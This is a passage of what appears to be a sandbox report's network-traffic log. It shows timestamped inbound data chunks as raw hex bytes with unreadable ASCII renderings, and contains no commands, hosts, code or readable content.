d2 29 e8 be 95 99 a3 6f ed 82 1c 46 44 24 d6 bc 61 59 ed 65 d6 08 e4 8f a3 aa 8a 1c b1 78 a5 04 5e a5 cf a3 b9 9e b2 31 3d 38 8c 9f eb f8 d7 55 fa cb e1 8d 2c 95 db 95 9d 73 42 4e c3 26 c9 2b 55 13 7a e0 24 c8 94 11 6e 98 d5 3f 4f 65 Data Ascii: pCrJy0BN>9PA;'\uzT#$$d^gE"*Yz0)i-D;Y$=_NIz#~ew;f0oP\|D7rrff&L6ozd) D5)oFD$aYex^1=8U,sBN&+Uz$n?Oe
2023-03-17 14:07:54 UTC	1136	IN	Data Raw: 86 dc 3a 39 02 4d 49 e9 39 20 32 03 7f 84 db 7d f9 f3 d6 e4 a6 50 78 55 0e 2f 00 9e d3 da 8a 64 a5 5f bd b3 e3 51 81 dc a1 a3 68 5b 99 aa 83 fd 50 67 8e 9e 51 e4 2a a6 4d b9 ce 81 99 bf 8a c8 7f b8 42 1a 90 8b ff 6e b1 2b 40 bb 17 8d 01 19 3c 64 04 d2 c8 63 ee df aa 7e a2 17 76 73 f8 c1 8b f3 e7 f7 62 01 7d ab 96 04 05 9b 7b bf 4c 00 6e e6 85 c6 42 c6 de b0 2f 1b 4c cc c1 3e 66 ea 66 c4 7f d5 7d 7d 5a 77 3e a0 64 a4 92 5b b0 1a f1 ad 60 36 a1 9c a1 e6 38 2a e6 bc 9b f6 17 43 e5 94 f7 c9 28 3e 29 47 cc fa 78 55 8d 87 32 08 bb 71 d7 f5 3f 4f 0c fc ce 67 0f 8f 82 e5 06 9a d8 35 fd b5 7f 46 af 22 b8 1b 0c be 82 4d 01 47 be 5a 24 10 78 2f 93 6e a3 75 76 e3 2a 59 c4 7c 9d 99 ea 51 01 09 78 f2 5d 28 95 a4 af ce c9 0e 21 fa 45 8c fe 32 73 e9 5f 30 0a 2a fd e0 8b Data Ascii: :9MI9 2}PxU/d_Qh[PgQMBn+@<dc~vsb}{LnB/L>ff}}Zw>d[`68C(>)GxU2q?Og5F"MGZ$x/nuvY\|Qx](!E2s_0
2023-03-17 14:07:54 UTC	1152	IN	Data Raw: e3 3f e1 63 9e 60 98 dc d4 49 72 89 0a d6 5d 0e 1b 9d 90 b9 68 93 9d 76 cf 05 50 a6 29 ae 14 af 2a 46 89 ae ca fc 3c a3 5f b8 6b af f6 51 8e 34 7c e1 81 b5 49 d1 d5 5e 77 47 81 dd b5 a8 2c a0 fa 14 cd b1 21 ae 04 c1 b4 6d 17 ec c2 ad ed f7 77 44 e5 54 73 dc c3 a7 43 09 4f 50 ea 10 7f 04 c4 52 43 50 57 45 3b 59 be 04 dd 0e dc 75 f9 fc a0 35 1d 67 ca a4 9f 28 38 aa a5 4c be a3 93 24 5b 86 e6 f9 47 0f 6a e9 0b 65 3e de 3d fa ad bf b7 b3 96 39 54 21 7c f4 26 9e 2e d9 45 6c 28 7f 52 9c 33 49 49 99 f8 e5 c5 af ef fb f5 36 c1 5c 6d f2 0b 34 19 d8 49 c7 0e 9c 66 7f 9d 22 b9 00 fe 31 0d 24 5f 25 e4 dd ad 32 99 5b 4d b2 a7 56 2f a6 24 54 40 98 e4 86 6b d7 fe cf 5e bf 8d ed db 76 db 15 74 00 b8 cc f4 59 a4 07 6c d1 9e fd d4 a2 27 90 23 fa 09 e5 c6 60 c5 be e9 c8 a5 Data Ascii: ?c`Ir]hvP)*F<_kQ4\|I^wG,!mwDTsCOPRCPWE;Yu5g(8L$[Gje>=9T!\|&.El(R3II6\m4If"1$_%2[MV/$T@k^vtYl'#`
2023-03-17 14:07:54 UTC	1168	IN	Data Raw: 96 d4 ed 82 aa fb 64 53 07 3b 71 9c b5 42 da cc ee eb 5b 39 b9 a2 12 4d a5 eb 4d 61 00 67 e4 e6 be 8f 1b 6e 6b 4e 41 f6 4a 27 37 69 24 74 8b 32 85 6c 9a 38 fb 99 35 fe f2 3d c4 a7 fb da 06 f7 20 d8 e9 cf d4 50 fd 30 fa a3 4a d0 bd 81 c5 ae 66 78 27 93 d1 90 ae 4d 95 f4 a7 86 db 42 14 cb 72 9b 6c 60 da 80 af 74 c1 22 36 ee ba f4 fb c6 07 dd c2 3f d5 f9 64 7e d1 ef b6 03 29 3e b7 4d 0d c9 72 af 68 55 e4 19 d0 fa 1b c6 94 5f 87 db 39 87 1c f6 06 86 7c 7f 79 ff 8f bc 0c 70 03 65 2c c3 fb e0 6a 23 12 19 c9 5a 9e 96 a8 3b 4b 31 8f 30 ed 20 73 ba 90 a2 c0 9c 7d 1e 75 0b af 52 ba 8c 65 4a 54 f6 c3 7b b9 d5 5f f6 f7 c4 4c 93 26 af f7 dd 50 40 bf 07 90 77 6d 91 59 4f 8d cd fa 1d 29 93 1c cc 28 e8 ec 27 e3 97 b2 ea 3d 95 e1 a4 09 0f f6 d6 9f 3f d0 7d 10 ea 1c a3 cb Data Ascii: dS;qB[9MMagnkNAJ'7i$t2l85= P0Jfx'MBrl`t"6?d~)>MrhU_9\|ype,j#Z;K10 s}uReJT{_L&P@wmYO)('=?}
2023-03-17 14:07:54 UTC	1184	IN	Data Raw: ae dc 59 e4 12 4d 77 6c ff 55 ed 2c 8f 38 da c2 8d 98 64 93 3e d3 d1 98 5e 34 e7 d2 a8 e2 d0 4a 37 10 a1 94 7f 7b 74 87 0d 5c 4a 63 25 22 d7 5a 4d 95 5d 4c 1c 7c ad 36 6e cd ab f6 bd ac 57 ac b2 1a b1 c9 5e a4 40 a2 ea 93 8f 75 be 37 0e a2 49 28 b5 d0 be 45 c7 a8 71 f4 ef 12 fa 46 d9 22 40 37 b1 bc cf 2f 2e d7 aa 47 a5 74 24 3a 87 65 60 77 61 69 c5 77 bf 43 d2 a8 22 e0 d6 b7 bd 68 a3 16 0a 4d 3a 7b d9 83 df bb df 87 73 30 b5 70 fb f6 01 d5 18 22 93 51 28 71 da b6 d0 52 b7 dd f3 0c bf d8 9f 86 f0 df 39 cd 98 49 9c ee e9 2c e7 10 2e b8 b4 eb f7 a0 4b c9 88 16 ca 0a 1e 0e 97 9a 93 5f 03 a8 78 e0 9d d5 fd d2 5a 17 22 9a 54 13 6a 2d 1c 79 d6 bc 17 82 b4 17 a2 db 53 ae c0 8f 7b aa ad 48 a1 40 1e c6 81 1c 1a ca a7 04 d2 8d b1 26 5a 4b b0 ef 04 a2 b3 8e 86 f5 c3 Data Ascii: YMwlU,8d>^4J7{t\Jc%"ZM]L\|6nW^@u7I(EqF"@7/.Gt$:e`waiwC"hM:{s0p"Q(qR9I,.K_xZ"Tj-yS{H@&ZK
2023-03-17 14:07:54 UTC	1200	IN	Data Raw: ef 7d c7 05 c5 38 90 97 c3 a0 03 8a 51 71 0d 1d dd af 48 eb 55 51 18 f6 d4 90 9a f7 2b 42 5a 0d d4 39 0f 92 6b 90 b1 a6 d3 0d 33 11 a5 21 30 23 77 ab fc 26 f2 bf 43 35 68 b5 3e a5 5d 70 6b 9d 74 24 f1 54 37 b7 f6 1b d9 f4 c0 8e dc ca 94 19 62 77 20 88 8e f4 17 56 63 ed 55 b0 1f d3 a9 ff 34 96 af 09 91 50 27 4e 9f 8f 68 ef 07 d0 29 a9 0e 2c 69 d6 11 af 69 2c f8 e5 2b a0 c4 58 1f 98 c2 8d 3e cc 24 aa b5 ad 65 18 77 69 a3 3f ea dc 16 0b d5 75 69 44 71 5e bd ab ed 65 1c d1 a8 e6 bd ef 2d 4d c5 13 fa 74 6b 53 41 fe aa cc 94 1b 25 bf b2 12 6f 3e 64 07 5e c5 3e a3 5e 41 d2 d9 0c 28 ba a5 42 ae bc db d1 e7 3e fb a6 b0 db b7 d1 2b 7b 70 69 e7 31 77 e1 e2 0f f9 45 ae 64 d6 03 72 77 14 c5 74 1f b3 20 85 77 0d 12 c8 21 45 6b 6e 53 99 82 b8 8b 44 26 a8 1e fe 26 36 6c Data Ascii: }8QqHUQ+BZ9k3!0#w&C5h>]pkt$T7bw VcU4P'Nh),ii,+X>$ewi?uiDq^e-MtkSA%o>d^>^A(B>+{pi1wEdrwt w!EknSD&&6l
2023-03-17 14:07:54 UTC	1216	IN	Data Raw: 33 0a 39 49 31 23 76 88 c4 e4 31 12 72 86 8e 85 04 37 e8 c7 67 fe 66 49 f8 3b 63 bc 04 64 71 d0 bc eb 62 83 03 38 e4 18 ed 18 af c6 60 0c f2 47 30 b2 b6 ab aa 75 e0 07 be ec 81 3e 1e 80 02 ee 4e 4c b3 32 01 4b 62 a3 25 79 ad 20 90 90 f1 02 22 8f 05 7e 93 2f 50 56 ed 50 f0 9e 19 d3 d4 56 e0 32 3c fe 23 fb 56 f7 41 93 42 91 9f e3 78 df 46 b0 0f 57 22 07 f0 0b f5 ce 6b 7e 49 59 49 26 ab 90 83 09 ac b2 b7 40 8b 2d ca 85 28 f0 7e 44 54 2b b5 6c e5 f0 f9 33 7e c3 ee 02 49 ff a2 36 a9 ba 4d aa d5 81 2c f5 71 5e 18 84 39 ae 60 b6 21 9d 1d 5d ab c5 a6 98 fe b5 b6 7b c7 1a 23 9e bc 14 6d fa c8 9d c8 0e 29 18 7f 07 7c 8b cb 78 ad e7 67 e1 c6 1a 9e 3b 9f d7 01 7d 20 23 07 77 d4 48 14 c4 9a ce 68 8a 56 e1 98 88 b1 c8 7d 38 0b 28 0f c6 b6 dd f2 67 fb 4c 61 cc 91 31 13 Data Ascii: 39I1#v1r7gfI;cdqb8`G0u>NL2Kb%y "~/PVPV2<#VABxFW"k~IYI&@-(~DT+l3~I6M,q^9`!]{#m)\|xg;} #wHhV}8(gLa1
2023-03-17 14:07:54 UTC	1232	IN	Data Raw: a3 1a 11 8b 58 28 12 bb 7b eb c2 37 20 a5 c1 16 76 83 c8 1a 95 cd ba b0 68 99 99 13 33 e7 c5 be 1d fd f4 48 26 38 e5 72 1f e5 79 a1 2a 57 8f d0 3b 0f 07 4b 3b 21 71 ed ca eb 2b ad 9e 83 83 02 7d 63 4e a7 02 01 3f cd 5d 42 ba 7a 34 d0 da 09 e8 ac f8 b6 1f 39 cc a8 e6 6e e4 3b 50 27 d3 38 1d 99 7d d9 ba f0 c7 f5 36 69 5e fd ab ae 38 0f c3 b8 bc 10 97 75 5f d2 d5 2d 7b a9 b9 ad ff 5c 24 42 a2 a6 83 1a c5 be 5c 38 6c 34 b3 6d f9 1b f2 75 b3 8e fd f6 40 1e e5 03 fe 8f 20 5f 56 c9 3e 1e 52 a7 15 d3 c5 29 30 49 9f b3 19 17 6d 4f 2d 9b 7d d7 c4 7e 62 dc 85 bc 28 dc dc 59 85 3b 35 fa 11 d7 dd 5c 8f b6 86 a4 ff 7e 17 00 9b 16 92 72 3a 0f 49 d5 58 b2 28 d2 26 00 7f 2c f4 20 d3 ad fa cf 37 ce 07 92 c4 84 9b da d8 1e 37 91 ec 5b dc ed a3 29 a3 b7 7f 70 29 be e1 2a d8 Data Ascii: X({7 vh3H&8ryW;K;!q+}cN?]Bz49n;P'8}6i^8u_-{\$B\8l4mu@ _V>R)0ImO-}~b(Y;5\~r:IX(&, 77[)p)
2023-03-17 14:07:54 UTC	1248	IN	Data Raw: 83 1d ea 30 ef 9d 79 d4 a8 b4 f8 4f 41 28 41 27 34 21 48 b4 81 85 a2 a4 fb bf 19 07 ce 3e a1 e7 84 0b 37 53 20 2d 14 bf ad ec 2c 18 cc fc e6 86 5c 55 1e 5a 87 02 84 99 bc 2f ed 22 ce ee b5 f0 bd cb 48 b5 d3 2e bf 78 e7 04 14 9c c5 75 cf 1a a1 c2 d6 b1 32 c8 07 75 4a db 0d 8b 3c f6 5e 23 d2 d4 ae 4d 82 c5 6e 02 43 93 e4 f3 ed 9c 0c 50 f7 fe 57 f3 5b 00 57 c8 05 0b a2 59 49 8a 2a 4d 23 2c d7 88 f6 da 66 6d 08 87 01 db 2b d7 e4 6a 35 b6 85 12 6d c6 f5 b5 ce 25 90 c4 a6 e5 a5 fa 9f e0 f7 84 df bb c0 fa 79 69 3f 32 7a b0 1b 33 04 d9 e5 97 04 03 15 5b 7e fc 92 05 af 8d db 01 87 35 62 59 97 63 34 40 fa 01 c0 bb 99 b0 5f 36 ef c9 c4 2e 8f 43 59 f7 27 e7 05 b6 50 50 95 95 b5 6f 7f 82 ef 60 40 e4 c4 76 dc 18 be 3e cd 08 fe c4 ef 51 f9 c0 38 32 44 2e 89 3e 96 04 47 Data Ascii: 0yOA(A'4!H>7S -,\UZ/"H.xu2uJ<^#MnCPW[WYI*M#,fm+j5m%yi?2z3[~5bYc4@_6.CY'PPo`@v>Q82D.>G
2023-03-17 14:07:54 UTC	1264	IN	Data Raw: e6 17 a9 40 f1 45 b6 0a 2c 74 9d a4 3f a5 39 a8 c8 b4 36 f9 26 d1 1e 9c b5 74 10 db c2 8b 9b 1f 21 a6 cc 68 51 aa c5 7d ee cd 96 de 83 45 e3 07 ab 14 00 9a 19 27 42 e4 c1 89 9a 8e 61 ea d3 7c 01 48 77 79 9b 3c a0 09 ed 6c 8b ad fd a6 0b fd 24 47 e7 d4 e6 0f 5b 5b 2e ed 53 ef 8d 6d b3 07 7a ec 1b 69 e3 1f a0 4c 08 45 47 ac 30 97 af 34 77 b8 07 ff 8e 2b f6 57 75 c1 20 21 c7 c2 a2 3a e8 78 68 04 fc 27 e5 ed ea 97 95 8a 90 04 9f 68 9b 4d 65 a6 d8 eb a5 df 28 e2 98 a8 a2 77 22 0a 4a 7f aa 0d a1 db 61 6c bc 70 64 a0 b7 ba 57 d6 2e c5 b1 bc 6c d3 4d 3c c2 f7 67 32 6c ac 40 2b f8 08 12 a4 bb f6 d5 fd 63 fd eb 12 3a a1 6f 1c 42 7b 82 b6 55 88 65 d7 0e a8 68 94 80 5c 69 84 05 97 b8 ba 01 a2 32 b8 db 73 5c 17 2f 91 28 35 ce 4c e4 98 54 d5 31 a1 17 bc 9f 87 55 f2 90 Data Ascii: @E,t?96&t!hQ}E'Ba\|Hwy<l$G[[.SmziLEG04w+Wu !:xh'hMe(w"JalpdW.lM<g2l@+c:oB{Ueh\i2s\/(5LT1U
2023-03-17 14:07:54 UTC	1280	IN	Data Raw: bb 06 fa b2 d9 aa e6 61 62 69 24 c9 8f 49 39 06 a1 c0 85 98 07 ae b8 ca 9d 93 e5 5f 27 7a 19 5a 23 ab 5f b4 44 fd 6f 51 94 95 a0 aa 6c ff 85 e0 4b 84 c6 8e 56 03 d6 e1 16 48 96 03 85 06 bf 44 b5 69 3c d6 c4 0d d0 01 c6 43 5b 97 1b 48 d8 e4 d5 22 aa bb 99 84 36 6f 5c a0 ad d0 a9 1c a7 05 ef 51 ca a8 de e0 b2 e6 f4 41 bb 2a 5c 82 f6 f8 4d 26 ce 40 1d 31 99 5c 68 af 24 9b a4 5c b9 2f fc 3a 48 a3 13 19 e4 12 fb 9e b4 59 ac 8e f8 51 33 18 72 da ef aa 4e 2b 39 ad 0c 2a 2b a7 4b 39 92 44 0e 31 42 20 87 27 87 4a 4d 14 e8 19 c4 42 a2 12 eb 68 ce bc 20 05 07 a4 f1 73 a0 56 57 a5 eb 0c 16 de d0 35 29 93 29 e1 c8 98 bc a0 32 ac 43 09 80 51 da 9f 87 aa c8 73 9f e5 c8 8c ec fe ba 59 48 4e e4 9f b2 25 e5 21 7f d7 d0 d6 d2 d9 05 e6 c3 29 c8 fa d6 1b ec 2f 0f cf 52 bc 02 Data Ascii: abi$I9_'zZ#_DoQlKVHDi<C[H"6o\QA\M&@1\h$\/:HYQ3rN+9+K9D1B 'JMBh sVW5))2CQsYHN%!)/R
2023-03-17 14:07:54 UTC	1296	IN	Data Raw: 2f 5f 3e 56 62 31 fb b2 53 7b 2b 2e 56 dc 7f 9f 83 39 73 67 7e 94 7e f8 49 90 46 84 60 1d 03 a2 67 b9 aa 4f b9 8f cb b1 c5 45 0e d6 7c f2 f9 cb 7b ab 1f 1f ef 74 cc 12 6c 62 74 86 d4 bc db 99 f9 a4 d9 f4 2e 26 c4 8a f2 28 ff 16 cc 89 bb c0 08 c6 29 ab d2 17 48 96 b3 e9 d8 89 8a d0 f0 59 f8 97 30 e8 c1 f6 b8 1d e2 a0 d1 10 82 4b 45 c0 f8 3b 05 00 50 fe 3d 5e 5a 08 b4 de 14 17 ca e7 a0 96 d3 8f 27 82 38 89 aa a9 db f2 c6 2c d0 f0 4c 94 d7 af 01 0c d1 5b 0c c6 b6 bc 2b 8d e7 9d 96 98 38 ed 04 f2 5e 6b 6a bf 2f 8c 6d 21 b9 56 ec 0c bb a7 bc c0 79 a4 37 ab af 93 16 31 4b b2 1e 1b d7 60 fe fe 04 df db ea 05 53 17 db d7 c0 10 6d ab 19 04 2a 10 ad cc fd ef 1e 48 bd 4a 22 71 c0 a3 b9 61 01 58 b1 b9 63 63 fc d6 da fb 3c 37 33 4f 42 40 f8 f5 b6 22 ab 1f 05 15 9d c2 Data Ascii: /_>Vb1S{+.V9sg~~IF`gOE\|{tlbt.&()HY0KE;P=^Z'8,L[+8^kj/m!Vy71K`Sm*HJ"qaXcc<73OB@"
2023-03-17 14:07:54 UTC	1312	IN	Data Raw: 91 03 b9 2a e5 71 21 13 11 37 9e 0f da 1c 29 63 4f 57 a0 28 41 2a 84 28 81 65 a3 5b 2c e6 17 6d 85 ed 0b 98 67 71 11 82 3a f7 b0 ea 40 c9 1e 8d 97 87 32 52 26 79 60 b9 c6 19 19 c7 d6 87 64 be d6 d2 d6 ef e3 01 8b c0 fe e9 8f dd d6 08 eb 84 8e b1 c3 b5 b1 9d 66 aa dd 3e 45 80 c7 d4 15 83 4a 2f d7 91 5d 7f 27 d7 9d d7 fe 0e 58 6d 3e 2a 04 56 06 ad 8a 3c e4 26 02 37 c9 47 d8 9e b6 a3 bd 07 ea a3 23 d3 7e 7a 45 b4 6b 87 d6 55 18 a2 0d 3e 13 a6 ee 55 39 02 07 97 9c 35 43 68 50 23 8b dc 67 86 61 d9 8d bd 19 55 55 8d 51 f8 39 3e 93 cf a3 46 4f 4d e1 94 00 6a 75 79 4f 75 b6 0e d7 43 6b 06 68 6c b4 31 f9 c4 64 d4 1f 8f 78 1c ec d0 d6 47 a8 02 a0 bf 99 0c bd 2b 18 00 90 7c 82 47 e2 9c d8 88 86 7a 77 cd 96 04 c3 96 3d 33 c2 f8 4e cb 6c 69 a5 06 78 23 af e6 0e 98 a3 Data Ascii: q!7)cOW(A(e[,mgq:@2R&y`df>EJ/]'Xm>*V<&7G#~zEkU>U95ChP#gaUUQ9>FOMjuyOuCkhl1dxG+\|Gzw=3Nlix#
2023-03-17 14:07:54 UTC	1328	IN	Data Raw: 23 57 11 f5 eb a8 17 84 45 4b b4 ed 35 b8 17 1a cc 9d 9c 63 11 7f 7d 5d 08 40 61 6c f8 50 44 20 11 54 d2 0e 94 fc 2c 35 7e 7f a4 0e cd 00 b5 d5 db a7 6f 65 18 e0 82 bd 51 07 32 72 35 45 e9 30 8e 6b 34 e3 74 b7 e8 42 5b 31 1d 46 e9 13 c1 3a b3 1b 67 20 a8 14 e7 21 34 03 4f 30 06 3a 0c ac 38 7e cc aa 91 4d ee 95 7c 19 77 69 fc 58 b0 61 11 e1 86 a4 ce 61 43 cb 74 39 20 c7 a3 b8 eb b8 93 f8 19 53 6e 98 c0 c5 2f 33 d3 ba 02 35 35 7c eb df 80 4e b9 83 5f 72 19 85 58 2a 78 84 8b 1b e3 d2 b9 89 c9 e6 41 b2 a4 e4 b7 08 f8 4a 78 1b 1f f2 8b 0a 84 fe f5 ce 4c 30 2f 48 18 44 0f f8 b4 be 84 e0 1f 4d 7f 44 5f 7b 3b 9e 25 97 54 32 27 6d 74 87 66 06 21 18 9a 34 2f a2 c6 3b 8f 38 fc 0d 75 1c c5 81 33 92 b4 e8 ba ff 47 45 bf 96 8f 0d a2 7d bb 9b c5 ee 93 a2 a3 0b 21 ab cf Data Ascii: #WEK5c}]@alPD T,5~oeQ2r5E0k4tB[1F:g !4O0:8~M\|wiXaaCt9 Sn/355\|N_rX*xAJxL0/HDMD_{;%T2'mtf!4/;8u3GE}!
2023-03-17 14:07:54 UTC	1344	IN	Data Raw: 92 d0 35 b2 93 74 0c 52 c8 fa ce 02 8f b2 61 45 4a e0 2d 34 f4 ae 25 86 1f 5e c3 1f f2 7b 86 e7 1c ee 04 ac 60 c8 dc 7d 4f a2 dd 7c f1 66 66 b8 4a 00 72 e4 96 97 ab 30 fe 72 c3 8c 27 1d 2c 01 8b 72 41 09 9a 31 37 35 6c 84 2a 6d ce 36 fa fd 5f 7a 3f fe 21 7a 2a 85 2a 03 01 ec 95 85 a1 f2 7c 93 d9 c9 f6 43 3e a0 74 16 92 4a 68 d0 03 da a6 ed 60 8c f4 45 e3 96 c4 4a 04 9f 9a 63 51 9e 8c d7 14 8a 9b a3 c8 fc df bc 10 69 57 6d 47 63 cd ab ea 14 99 f3 87 2d dd 1f 07 e9 3b ba f0 3d 04 1a 2e 7c 60 c0 0d 0f b7 22 0c a0 2a 96 45 6e fa 94 42 99 6c e1 a2 06 ae 13 04 62 b1 19 a4 fc 1c cb 05 b5 12 1c 6e e4 04 61 f0 94 68 24 39 dc 3e 4c 0d cf 5e ab e4 24 9a 40 f5 34 f7 f1 f6 ac a0 06 26 52 c7 20 d8 8c 40 0d 09 02 d2 37 28 3d 23 a6 c1 b4 4d ea cf a8 43 6d c0 c8 18 65 7c Data Ascii: 5tRaEJ-4%^{`}O\|ffJr0r',rA175lm6_z?!z\|C>tJh`EJcQiWmGc-;=.\|`"EnBlbnah$9>L^$@4&R @7(=#MCme\|
2023-03-17 14:07:54 UTC	1360	IN	Data Raw: 44 03 61 11 fc 54 05 3f 0a 2d ad 0b ea 31 27 a5 dd 2a 39 80 fb ab 42 24 17 2b d1 34 ff 50 2f d1 8f 77 8a 19 f2 7d d7 2c 1f 88 74 11 36 fd 5c 91 9d 56 97 37 b6 b6 4b d7 de 76 d2 4a 9f e8 8c 25 69 9c f0 0f 18 a6 c7 f1 cb 15 b3 0b 38 8b d5 88 b9 e0 1b cd 37 bd 2f 7c 32 a0 e5 55 72 53 cd bb ed 12 b0 9c 9d f9 eb 85 cd 4c 49 b4 e5 b8 59 c0 f5 ea 49 24 26 a8 c2 e0 98 7d be 05 a2 41 c7 48 4a d1 3c 1a 06 b3 7c 9f 1e cf 23 00 8d 87 0e be 44 e6 10 5e 0c 9b 4b 86 60 9c 14 90 92 8c 55 9d c1 60 54 12 09 a7 22 88 c2 c7 cc d6 14 b7 cd f6 83 1b 9a 51 ab bd d0 7f df 26 9f 41 4e 31 24 6b a1 7e 19 60 1d 32 71 be dc 90 45 7f 25 69 35 fc b5 4b 29 f5 d0 7a d6 eb 2d a2 bd 54 d2 ce 6f 13 0a 5c 63 88 61 14 e3 31 23 5e 68 25 17 94 9a 67 0f 30 d0 db 49 0c ba 1e 23 9c 98 cb 64 09 68 Data Ascii: DaT?-1'*9B$+4P/w},t6\V7KvJ%i87/\|2UrSLIYI$&}AHJ<\|#D^K`U`T"Q&AN1$k~`2qE%i5K)z-To\ca1#^h%g0I#dh
2023-03-17 14:07:54 UTC	1376	IN	Data Raw: 9d d7 19 84 31 2a 52 a7 e8 cb bb c7 3d 7c 37 a6 94 23 da 72 3f 25 e7 23 c2 f6 3a 0f a8 64 57 0f 32 9f e1 51 f1 42 96 08 3f 9a 45 db be 32 27 b0 f9 65 0e 0e 20 e1 8a 94 43 4f 6d 88 fe 01 fb 20 8d 62 66 96 0d e3 24 e7 3f 72 45 ab 04 a0 b8 99 d3 5c 4e 2d dc 30 73 4f a2 27 28 4f 2e 3b 57 25 df e8 1d 82 46 53 95 ed 40 c1 61 ef 7a d6 64 fa cf c2 f5 eb f0 02 94 c6 83 ab 84 1d f7 59 3d 9a 14 d9 70 ae 18 97 53 5b e4 5f 7e 7c ca 4e ea 0a 27 04 6d 5f 86 47 ea 38 b7 57 c8 6c a2 28 54 cd 64 b6 62 f5 ac 92 35 4b ca 17 9b 51 80 13 95 8a e4 11 7e ce 61 f6 8e da e7 ff 6b 8c 17 15 8f 3e 4a 26 c4 30 2f d4 d6 e0 2a 6a 65 e7 b9 2a 33 72 83 a6 85 f9 34 5f e4 eb bf fa 13 e4 53 5d ab 22 82 6e 0e b7 fd a7 87 74 0e 79 01 70 10 04 1a 7a 25 f2 c3 99 65 95 53 d0 24 99 d9 92 fc f2 d7 Data Ascii: 1R=\|7#r?%#:dW2QB?E2'e COm bf$?rE\N-0sO'(O.;W%FS@azdY=pS[_~\|N'm_G8Wl(Tdb5KQ~ak>J&0/je*3r4_S]"ntypz%eS$
2023-03-17 14:07:54 UTC	1392	IN	Data Raw: 86 36 93 50 42 20 fb c3 da 88 55 1e 6c d0 c3 62 0d 83 15 75 4b 62 84 1a 45 3b e9 92 fc c7 5a 7d d5 20 55 66 c3 85 b2 70 da 31 2b 01 a8 d8 3a 70 f8 69 6b d6 4e 9a ae 5b 44 2c cf 37 ee 3e 42 23 ba 04 c9 31 33 8a df 1f a8 77 b0 5e 38 7c 32 ba 7f 6b 45 32 9b 4f bf 9b 3e 8f 23 89 36 b9 5c c1 da e0 1b 8c fd 9a 52 5a 5d 0b 80 4f a4 58 16 b4 c2 af fd bc b1 c5 a8 8d 72 45 71 29 5d 9c bf 95 2d 7a 89 c3 2f 1a 6e 43 3b 7f 85 0b 50 d2 a9 ee 85 ab 5e 70 e8 83 b0 36 50 20 4c 96 77 10 e6 06 e9 20 cf c4 be 5e 2a ca 68 db fd d9 28 f3 25 f1 df 9f ea 13 16 95 61 57 59 86 e5 77 76 84 4d 3e 6e fb 1d bc c6 bb c5 57 46 ae 84 5c 02 1c d5 00 7b c6 b7 80 e4 e5 ba 65 f9 49 b6 74 80 d7 8f ab 0b 57 1b b6 13 b9 c6 74 4e 58 04 2f 5c 9b da 68 ab e0 cb 01 17 20 c9 40 b7 84 a5 e8 56 a4 fe Data Ascii: 6PB UlbuKbE;Z} Ufp1+:pikN[D,7>B#13w^8\|2kE2O>#6\RZ]OXrEq)]-z/nC;P^p6P Lw ^*h(%aWYwvM>nWF\{eItWtNX/\h @V
2023-03-17 14:07:54 UTC	1408	IN	Data Raw: f2 25 9a 57 db 8a 37 41 b4 bc 53 e3 23 7f a8 9b c8 53 f6 dc b5 7e d4 e1 0d f5 49 58 96 23 71 f2 b0 21 99 93 cd 6c 3d ba 50 bd 90 20 3f 61 b0 29 bc a0 e2 96 16 05 0c 72 a3 db 9a 6f 2a 31 d4 fa 8b 09 9a f4 18 e4 4d 44 d0 ff eb db df 93 4e 6e 81 bd b5 6e c9 9e bc 25 b3 86 20 93 b4 98 72 1b 3c ba 0f b5 db f3 88 87 fe 43 3d 4a 86 77 7f 09 8d b6 3c 7d 35 ff 7b ca 74 fb 1d c4 0b 4f 4f 91 d2 4a e1 98 ac 29 0e 65 de 27 da e4 d1 d1 86 e3 84 6d 81 fc ea 0b 25 bb 3f db 8a d2 aa c2 be 30 18 2c ec 37 aa e3 a0 43 71 fc f5 e3 ba f6 20 72 c0 eb d7 9e f8 e8 ef 7d 93 ed fb dd 79 d5 8a 42 08 b4 b5 59 29 82 5c 49 5d a7 44 5d c3 bd 3b 95 69 2e f0 ca 49 23 3f 33 23 c7 3c d7 3b 7a 9e 83 14 4c 8d a0 3b e8 70 88 c3 ae 88 85 30 e5 67 d2 fe e3 40 f2 45 e7 83 06 cb d1 ff 8e 58 6a 39 Data Ascii: %W7AS#S~IX#q!l=P ?a)ro*1MDNnn% r<C=Jw<}5{tOOJ)e'm%?0,7Cq r}yBY)\I]D];i.I#?3#<;zL;p0g@EXj9
2023-03-17 14:07:54 UTC	1424	IN	Data Raw: 68 b2 ff 7e dd 0c 39 17 91 b7 40 5a 23 6e d4 14 e2 10 6a 2b 16 a7 f8 a3 b7 28 a3 a4 ca 26 48 44 e2 ab 52 39 33 99 b5 3f 98 6b 37 0e 26 d8 21 8d e7 0e e1 63 02 b0 f1 bc 55 6c c4 55 8c c8 96 c1 a3 3d 2c ce e7 88 2a 93 4b 3f 8b ab 37 b4 7e 4e cc 09 24 9b c1 7d fa 07 65 e6 a0 e2 cb 7d 89 cc ac 7c 92 1e 81 13 72 6f 62 0c b3 f3 39 41 b6 e6 59 03 2f d2 26 fd 72 ff 2b 81 a5 a7 dc e6 87 51 bf e6 8c fe 1b ff e8 b6 7d 6d 74 58 bf a8 cc fa 86 78 64 be 1e b3 7d 91 2d bc 0f 32 4b 6d 79 6d 8a 75 d5 fd 5f 08 ee 55 2d 0e 99 c0 bf c2 61 15 f2 ce 7f 62 21 10 72 f1 e3 72 56 6e 10 df 1d 6c 8a a3 f5 7e 34 22 6d 8b 1a ea 58 f0 87 21 56 71 b4 5f 6a ae a9 82 6e c7 fc fa f2 8a 72 19 44 f3 8e 00 5e 02 72 32 f1 07 1e 74 2d ba 6f 88 12 0d 4f e7 53 f5 ff e1 88 da d0 54 28 8f 04 6c 44 Data Ascii: h~9@Z#nj+(&HDR93?k7&!cUlU=,*K?7~N$}e}\|rob9AY/&r+Q}mtXxd}-2Kmymu_U-ab!rrVnl~4"mX!Vq_jnrD^r2t-oOST(lD
